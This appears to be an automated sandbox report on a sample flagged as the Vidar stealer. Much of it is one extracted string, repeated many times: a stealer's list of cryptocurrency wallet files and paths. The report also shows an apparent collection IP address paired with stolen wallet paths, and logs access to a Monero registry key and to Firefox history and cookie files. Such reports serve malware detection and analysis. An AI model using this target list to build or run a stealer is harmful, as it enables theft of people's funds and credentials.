Source: Yara match	File source: 00000000.00000003.2086228591.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6664, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6664, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2571128740.0000000001320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2569376590.0000000000795000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2571128740.0000000001320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2571128740.00000000013A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \user\AppData\Roaming\com.liberty.jaxxq
Source: file.exe, 00000000.00000002.2571128740.0000000001320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2571128740.0000000001320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2569376590.0000000000795000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2569376590.0000000000795000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2571128740.0000000001320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2569376590.0000000000795000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2571128740.0000000001320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2571128740.0000000001320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2569376590.0000000000795000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000000.00000002.2569376590.0000000000795000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2571128740.0000000001320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2571128740.00000000013A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Coinomi\Coinomi\wallets\.
Source: file.exe, 00000000.00000002.2571128740.00000000013A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\MultiDoge\multidoge.wallet
Source: file.exe, 00000000.00000002.2569376590.0000000000795000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2569376590.0000000000795000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2571128740.0000000001320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2571128740.0000000001320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
